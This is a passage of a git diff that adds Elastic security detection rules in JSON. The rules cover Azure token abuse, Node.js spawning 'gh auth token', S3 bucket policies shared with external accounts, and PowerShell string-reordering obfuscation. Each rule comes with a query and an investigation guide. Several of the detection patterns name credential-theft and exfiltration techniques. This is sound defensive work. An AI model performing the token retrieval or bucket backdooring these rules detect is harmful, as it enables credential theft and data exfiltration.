source.ip address.\n- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious.\n- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise.\n- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access.\n- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user.\n\n### Response and remediation\n\n- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions.\n- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid.\n- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse.\n- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise.\n- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts.\n- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats.\n- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event.", + "query": "from logs-azure.signinlogs-* metadata _id, _version, _index\n\n// Scheduled to run every hour, reviewing events from past hour\n| where\n @timestamp > now() - 1 hours\n and event.dataset == \"azure.signinlogs\"\n and source.ip is not null\n and azure.signinlogs.identity is not null\n and to_lower(event.outcome) == \"success\"\n\n// keep relevant raw fields\n| keep\n @timestamp,\n azure.signinlogs.identity,\n source.ip,\n azure.signinlogs.properties.authentication_requirement,\n azure.signinlogs.properties.app_id,\n azure.signinlogs.properties.resource_display_name,\n azure.signinlogs.properties.authentication_protocol,\n azure.signinlogs.properties.app_display_name\n\n// case classifications for identity usage\n| eval\n Esql.azure_signinlogs_properties_authentication_device_code_case = case(\n azure.signinlogs.properties.authentication_protocol == \"deviceCode\"\n and azure.signinlogs.properties.authentication_requirement != \"multiFactorAuthentication\",\n azure.signinlogs.identity,\n null),\n\n Esql.azure_signinlogs_auth_visual_studio_case = case(\n azure.signinlogs.properties.app_id == \"aebc6443-996d-45c2-90f0-388ff96faa56\"\n and azure.signinlogs.properties.resource_display_name == \"Microsoft Graph\",\n azure.signinlogs.identity,\n null),\n\n Esql.azure_signinlogs_auth_other_case = case(\n azure.signinlogs.properties.authentication_protocol != \"deviceCode\"\n and azure.signinlogs.properties.app_id != \"aebc6443-996d-45c2-90f0-388ff96faa56\",\n azure.signinlogs.identity,\n null)\n\n// Aggregate metrics by user identity\n| stats\n Esql.event_count = count(*),\n Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct = count_distinct(Esql.azure_signinlogs_properties_authentication_device_code_case),\n Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct = count_distinct(Esql.azure_signinlogs_auth_visual_studio_case),\n Esql.azure_signinlogs_properties_auth_other_count_distinct = count_distinct(Esql.azure_signinlogs_auth_other_case),\n Esql.azure_signinlogs_properties_source_ip_count_distinct = count_distinct(source.ip),\n Esql.azure_signinlogs_properties_source_ip_values = values(source.ip),\n Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement)\n by azure.signinlogs.identity\n\n// Detect multiple unique IPs for one user with signs of deviceCode or VSC OAuth usage\n| where\n Esql.azure_signinlogs_properties_source_ip_count_distinct >= 2\n and (\n Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct > 0\n or Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct > 0\n )\n", + "references": [ + "https://learn.microsoft.com/en-us/entra/identity/", + "https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins", + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema", + "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_auth_other_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_auth_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_client_app_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "azure.signinlogs.identity", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "e3bd85e9-7aff-46eb-b60e-20dfc9020d98", + "setup": "#### Required Azure Entra Sign-In Logs\nThis rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration.\n", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1528", + "name": "Steal Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1528/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0001", + "name": "Initial Access", + "reference": "https://attack.mitre.org/tactics/TA0001/" + }, + "technique": [ + { + "id": "T1566", + "name": "Phishing", + "reference": "https://attack.mitre.org/techniques/T1566/", + "subtechnique": [ + { + "id": "T1566.002", + "name": "Spearphishing Link", + "reference": "https://attack.mitre.org/techniques/T1566/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "e3bd85e9-7aff-46eb-b60e-20dfc9020d98_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e5d69377-f8cf-4e8f-8328-690822cd012a_2.json b/packages/security_detection_engine/kibana/security_rule/e5d69377-f8cf-4e8f-8328-690822cd012a_2.json new file mode 100644 index 00000000000..3de3b6dbdc2 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e5d69377-f8cf-4e8f-8328-690822cd012a_2.json @@ -0,0 +1,118 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The \"gh auth token\" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "GitHub Authentication Token Access via Node.js", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and process.parent.name == \"node\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"gh auth token\"\n", + "references": [ + "https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "e5d69377-f8cf-4e8f-8328-690822cd012a", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Discovery", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1552", + "name": "Unsecured Credentials", + "reference": "https://attack.mitre.org/techniques/T1552/" + }, + { + "id": "T1528", + "name": "Steal Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1528/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1613", + "name": "Container and Resource Discovery", + "reference": "https://attack.mitre.org/techniques/T1613/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 2 + }, + "id": "e5d69377-f8cf-4e8f-8328-690822cd012a_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_6.json new file mode 100644 index 00000000000..67c37364184 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_6.json @@ -0,0 +1,128 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket\u2019s account ID to any account IDs referenced in the policy\u2019s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner\u2019s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket\u2019s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., \u201cmybucket-123456789012\u201d). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources.", + "event_category_override": "event.type", + "false_positives": [ + "Legitimate changes to share an S3 bucket with an external account may be identified as false positives." + ], + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS S3 Bucket Policy Added to Share with External Account", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS S3 Bucket Policy Added to Share with External Account\n\nThis rule detects when an S3 bucket policy is modified using the `PutBucketPolicy` API call to include an external AWS account ID.\nIt compares the bucket\u2019s `recipient_account_id` to any account IDs included in the policy\u2019s `Effect=Allow` statement, triggering\nan alert if the two do not match. \n\nAdversaries may exploit this to backdoor a bucket and exfiltrate sensitive data by granting permissions to another AWS account\nthey control, enabling ongoing access to the bucket\u2019s contents even if IAM credentials are rotated or revoked.\n\nThis detection specifically focuses on policy-based sharing and does not alert when:\n- The account ID appears within the bucket or object name being shared.\n- The account owner explicitly matches the policy\u2019s condition keys on something other than an ARN or account id (i.e. IP address).\n \nTo fully monitor for suspicious sharing behavior, use this rule in combination with detections for:\n- Unusual PutBucketPolicy requests\n- Cross-account object access (e.g., `GetObject`, `PutObject`)\n- Changes to bucket ACLs or access points\n\n#### Possible investigation steps\n\n- **Identify the Actor and Context**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change.\n - Determine if the identity typically manages S3 bucket policies. \n - Examine `aws.cloudtrail.resources.arn` to determine which bucket is being shared.\n\n- **Analyze the Policy Change**\n - Review `aws.cloudtrail.request_parameters` to extract the policy JSON and identify the external AWS account ID(s) referenced. \n - Check for `Effect=Allow` statements granting broad permissions such as `\"Action\": \"s3:*\"` or `\"Resource\": \"*\"`. \n - Verify if the added principals correspond to known partners or external vendors.\n - If AWS account ID(s) were only part of `Effect=Deny` statements, then this rule can be closed as a false positive. \n\n- **Review Context and Source**\n - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalies \u2014 such as new IP ranges, access from unfamiliar geographies, or use of programmatic clients (`boto3`, `aws-cli`).\n\n- **Correlate with Related Activity**\n - Search CloudTrail for subsequent activity by the external AWS account ID(s):\n - `GetObject`, `ListBucket`, or `PutObject` events that indicate data access or exfiltration.\n - Look for additional configuration changes by the same actor, such as:\n - `PutBucketAcl`, `PutBucketVersioning`, or `PutBucketReplication` \u2014 often part of a larger bucket compromise chain.\n - Determine if multiple buckets were modified in quick succession.\n\n- **Validate Intent**\n - Review internal change requests or documentation to confirm whether this external sharing was approved. \n - If no approval exists, escalate immediately for potential compromise.\n\n### False positive analysis\n\n- **Authorized Cross-Account Access**\n - Some organizations legitimately share S3 buckets across accounts within a trusted AWS Organization or partner accounts. \n - Validate whether the external account ID belongs to a known entity or service provider and is documented in your allowlist.\n- **Automation or Deployment Pipelines**\n - Continuous integration/deployment pipelines may temporarily attach cross-account policies for replication or staging. \n - Verify the `user_agent.original` or role name \u2014 automation often includes identifiable strings.\n- **Naming and Rule Logic Limitations**\n - This rule excludes detections where the account ID appears in the bucket resource ARN (e.g., `mybucket-123456789012`). \n - Such patterns are common in automated provisioning. For those scenarios, rely on complementary rules that directly monitor `PutBucketPolicy` events against those buckets.\n\n### Response and remediation\n\n- **Immediate Review and Containment**\n - If unauthorized sharing is confirmed, use the AWS CLI or Console to delete or revert the modified policy (`aws s3api delete-bucket-policy` or restore from version control). \n - Remove external principals and reapply the correct bucket policy. \n - Rotate access keys for the actor involved, especially if API access came from unexpected locations or tools.\n\n- **Investigation and Scoping**\n - Identify whether data was accessed by the external account via `GetObject` or `ListBucket` operations. \n - Search CloudTrail logs for other buckets modified by the same actor or IP within the same timeframe.\n - Use AWS Config to review version history of affected bucket policies and detect similar cross-account permissions.\n\n- **Recovery and Hardening**\n - Restrict `s3:PutBucketPolicy` to a limited set of administrative roles using least privilege.\n - Enable AWS Config rule `s3-bucket-policy-grantee-check` to monitor for unauthorized policy additions.\n - Use AWS GuardDuty or Security Hub findings to correlate policy changes with data exfiltration or credential compromise events.\n - Apply service control policies (SCPs) to block cross-account sharing unless explicitly approved.\n\n### Additional information\n - **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n - **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n - **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"PutBucketPolicy\" \n and stringContains(aws.cloudtrail.request_parameters, \"Effect=Allow\")\n and (\n stringContains(aws.cloudtrail.request_parameters, \"AWS=\") or \n stringContains(aws.cloudtrail.request_parameters, \"aws:PrincipalAccount=\") or\n stringContains(aws.cloudtrail.request_parameters, \"aws:SourceAccount=\")\n )\nand not stringContains(aws.cloudtrail.request_parameters, \"arn:aws:cloudfront::\") \nand not stringContains(aws.cloudtrail.request_parameters, \"arn:aws:iam::cloudfront:user\")\nand not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id)\n", + "references": [ + "https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.recipient_account_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "e8c9ff14-fd1e-11ee-a0df-f661ea17fbce", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS S3", + "Use Case: Threat Detection", + "Tactic: Exfiltration", + "Tactic: Collection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [ + { + "id": "T1537", + "name": "Transfer Data to Cloud Account", + "reference": "https://attack.mitre.org/techniques/T1537/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1530", + "name": "Data from Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1530/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 6 + }, + "id": "e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_7.json b/packages/security_detection_engine/kibana/security_rule/e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_7.json new file mode 100644 index 00000000000..914f714802c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_7.json @@ -0,0 +1,153 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use string reordering and runtime reconstruction techniques as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via String Reordering", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via String Reordering\n\nPowerShell, a powerful scripting language in Windows environments, can be exploited by adversaries using obfuscation techniques like string reordering to evade detection. This involves rearranging strings and reconstructing them at runtime, bypassing static analysis and security measures. The detection rule identifies scripts with excessive length and specific patterns, flagging those with multiple occurrences of string format expressions, which are indicative of obfuscation attempts. By filtering out known benign patterns, it reduces false positives, focusing on genuine threats.\n\n### Possible investigation steps\n\n- Review the script block text by examining the powershell.file.script_block_text field to understand the nature of the obfuscation and identify any potentially malicious commands or patterns.\n- Check the file.path and file.name fields to determine the origin and context of the script, which can provide insights into whether the script is part of a legitimate application or a potential threat.\n- Investigate the host.name and user.id fields to identify the affected system and user, which can help in assessing the potential impact and scope of the incident.\n- Analyze the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and history of the script, which may reveal additional suspicious activities or related scripts.\n- Correlate the alert with other security events or logs from the same host or user to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign.\n\n### False positive analysis\n\n- Scripts related to the Icinga Framework may trigger false positives due to their use of string formatting. To handle this, ensure that the file name \"framework_cache.psm1\" is excluded from the detection rule.\n- PowerShell scripts that include specific sentinel patterns, such as \"sentinelbreakpoints\" or paths like \":::::\\windows\\sentinel\", combined with variables like \"$local:Bypassed\" or \"origPSExecutionPolicyPreference\", are known to be benign. These should be excluded to reduce noise.\n- Regularly review and update the exclusion list to include any new benign patterns that are identified over time, ensuring the rule remains effective without generating unnecessary alerts.\n- Consider implementing a whitelist of known safe scripts or script authors to further minimize false positives, especially in environments with frequent legitimate use of complex PowerShell scripts.\n\n### Response and remediation\n\n- Isolate the affected system from the network to prevent further spread of potentially malicious scripts.\n- Terminate any suspicious PowerShell processes identified by the alert to stop ongoing malicious activity.\n- Conduct a thorough review of the PowerShell script block text flagged by the alert to understand the intent and potential impact of the obfuscated script.\n- Remove any malicious scripts or files identified during the investigation from the affected system to prevent re-execution.\n- Restore the system from a known good backup if the script has caused significant changes or damage to the system.\n- Update and strengthen endpoint protection measures, ensuring that AMSI and other security tools are fully operational and configured to detect similar obfuscation techniques.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\" and powershell.file.script_block_text like \"*{0}*\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 500\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"((\\{\\d+\\}){2,}[\"']\\s?-f|::Format[^\\{]+(\\{\\d+\\}){2,})\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n file.directory,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least four times\n| where Esql.script_block_pattern_count >= 4\n\n// Exclude Noisy Patterns\n\n// Icinga Framework\n| where not file.directory == \"C:\\\\Program Files\\\\WindowsPowerShell\\\\Modules\\\\icinga-powershell-framework\\\\cache\"\n // ESQL requires this condition, otherwise it only returns matches where file.directory exists.\n or file.directory IS NULL\n\n| where not (powershell.file.script_block_text LIKE \"*GitBranchStatus*\" AND \n powershell.file.script_block_text LIKE \"*$s.BranchBehindStatusSymbol.Text*\")\n| where not\n // https://wtfbins.wtf/17\n (\n (powershell.file.script_block_text like \"*sentinelbreakpoints*\" or\n powershell.file.script_block_text like \"*:::::\\\\\\\\windows\\\\\\\\sentinel*\")\n and\n (powershell.file.script_block_text like \"*$local:Bypassed*\" or\n powershell.file.script_block_text like \"*origPSExecutionPolicyPreference*\")\n )\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.directory", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "e903ce9a-5ce6-4246-bb14-75ed3ec2edf5", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 7 + }, + "id": "e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_7", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e919611d-6b6f-493b-8314-7ed6ac2e413b_210.json b/packages/security_detection_engine/kibana/security_rule/e919611d-6b6f-493b-8314-7ed6ac2e413b_210.json new file mode 100644 index 00000000000..7680097d81c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e919611d-6b6f-493b-8314-7ed6ac2e413b_210.json @@ -0,0 +1,105 @@ +{ + "attributes": { + "author": [ + "Elastic", + "Austin Songer" + ], + "description": "Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information.", + "false_positives": [ + "VM exports may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. VM exports from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS EC2 VM Export Failure", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS EC2 VM Export Failure\n\nAWS EC2 allows users to export virtual machines for backup or migration. However, adversaries might exploit this feature to exfiltrate sensitive data by exporting VMs to unauthorized locations. The detection rule monitors failed export attempts, focusing on specific AWS CloudTrail events, to identify potential exfiltration activities, thereby alerting security teams to investigate further.\n\n### Possible investigation 